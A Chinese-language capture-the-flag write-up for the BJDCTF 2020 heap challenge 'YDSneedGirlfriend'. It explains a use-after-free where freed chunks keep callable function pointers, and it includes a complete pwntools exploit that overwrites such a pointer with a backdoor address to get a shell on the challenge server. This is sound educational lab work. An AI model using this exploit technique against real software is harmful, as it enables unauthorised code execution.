[BJDCTF 2020]YDSneedGirlfriend

作者:Vesper Vei
2 分钟阅读

目录

  1. YDSneedGirlfriend - 题目复盘
    1. 漏洞分析
    2. 解题步骤
      1. ① 静态分析
      2. ② 动态调试
      3. ③ 利用开发
      4. ④ 最终利用
    3. 工具使用
    4. 关键收获
      1. 技术洞察
      2. 踩坑记录
      3. 模式识别
    5. 关联题目
    6. 扩展思考

[!note] 关联入口:PWN题目索引

YDSneedGirlfriend - 题目复盘

[!info] 题目信息

  • 比赛:BJDCTF 2020
  • 题目:YDSneedGirlfriend
  • 难度:★★★☆☆
  • 保护机制:全保护
  • 漏洞类型:UAF
  • 利用技术:堆利用

漏洞分析

本道题对于我这位初学者还是比较烧脑的。。。但我还是理解了,理解后又觉得很简单,所以还是记录一下自己是如何逐步理解和思考的。 本题通过利用 print_gerlfriend() 函数直接调用的是 **(&girlfriendlist + idx)) 而在 del_girlfriend() 函数中只是 free() 并未置空指针! 这就导致我们可以利用Use After Free 漏洞。 这题都没有修改的功能,只能想办法创造修改逻辑。如何创造呢?依靠 fast_bins 假设有这样一条链表: chunk_struck[0x20] : chunk_B -> chunk_A -> NULL (这条是结构chunk被释放后存放的fast_bin) 我们知道 print_gerlfriend() 会调用以创建的,带有index序号的chunk(即使被free!!!),所以现在在fast_bin上有两个已经被释放的结构chunk,如果我们此时 add(0x10) ,malloc机制就会把这两个size = 0x20的chunk给我们使用,注意,此时新的结构chunk_C -> chunk_B(结构) ,而 数据chunk_C -> chunk_A(结构) 发现了吗?我们可以修改chunk_A中的函数指针了!此时改为我们的后门函数,当再次 print_gerlfriend() 时,就会触发我们的后门函数! 这一部分如果看不懂可以把后面的具体分析看完了,再回来看核心部分。这里贴一张其他师傅wp的图,做的实在太好了 image

解题步骤

① 静态分析

首先是对 add() 函数的深度分析,搞懂chunk的全貌 image.png 这里我画的很详细,总的来说就是创建了两个chunk,一个可以理解为结构chunk,size = 0x10,分别存 print_girlfriend_name() 函数地址,接着存入name的数据chunk地址,size可以自己制定。这里的蓝线代表,这两个chunk是紧挨着的,不过为了展示逻辑线条我画的很分开。但malloc内存管理机制上是紧挨着个(当下情况) 我们再来看看发现漏洞的地方, del_girlfriend() image.png 事已至此,我们gdb动调一下,看看我们一开始的核心思想在heap上的表现

② 动态调试

image.png 以上截图是断在了add(chunk_A);add(chunk_B);的地方,接下里我会将两个chunk进行free,关注fast_bins的链表结构 image.png 现在,可以回顾我们一开始的核心思想了,结合放在开头的图,就能明白这道题是如何利用 Use After Free 漏洞的

③ 利用开发

from LibcSearcher import*
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
#io = process('./pwn')
io = remote('node4.anna.nssctf.cn',28485)
s = lambda content : io.send(content)
sl = lambda content : io.sendline(content)
sa = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc = lambda number : io.recv(number)
ru = lambda content : io.recvuntil(content)
def slog(name, address): io.success(name+"==>"+hex(address))
def debug(): gdb.attach(io)
def add(size,name):
sla(":", '1')
sla(" :", str(size))
sla(" :", name)
def delete(index):
sla(":", '2')
sla(" :", str(index))
def show(index):
sla(":", '3')
sla(" :", str(index))
def take(index, content):
sla(":\n", '4')
sla("modify :", str(index))
sa("content\n", content)
backdoor = 0x400baa
add(0x10, 'aaaaaaaa') #chunk_A
add(0x20, 'bbbbbbbb') #chunk_B
delete(0)
delete(1)
add(0x10, p64(backdoor))
show(0)
io.interactive()

④ 最终利用

image.png

工具使用

IDA,pwngdb

关键收获

技术洞察

这是我做的第二道堆题,就目前感受来讲,要认真分析 add() 函数是如何添加堆块的,而且对于这种喜欢把函数指针放到堆块中的,也要注意 del() 函数是否置空指针, show() 函数是否直接调用该处的函数指针,这都是很危险的行为。

踩坑记录

前面没有详细讲 print_gerlfriend() 函数,这里仔细研究一下吧,算是我第一见识。 image.png 重点看(**(&girlfriendlist + idx))(*(&girlfriendlist + idx)); 按照 C 语言规则:

所以传的是“结构体自身指针”。 这里我一开始疑惑,明明name_data的指针在紧邻的下一位存放着,为什么(&girlfriendlist + idx) 后不继续 +8呢? 其实这里,逻辑写在了函数内部,去看看 print_girlfriend_name 就一目了然了 image.png

模式识别

del() 函数存在置空行为

关联题目

暂无

扩展思考

这道题比较死,也没有给 edit() 函数,无法通过堆溢出去实现修改函数指针,所以没什么其他的思路了


创建时间:2025-12-10 21:02


关系图谱

Loading graph...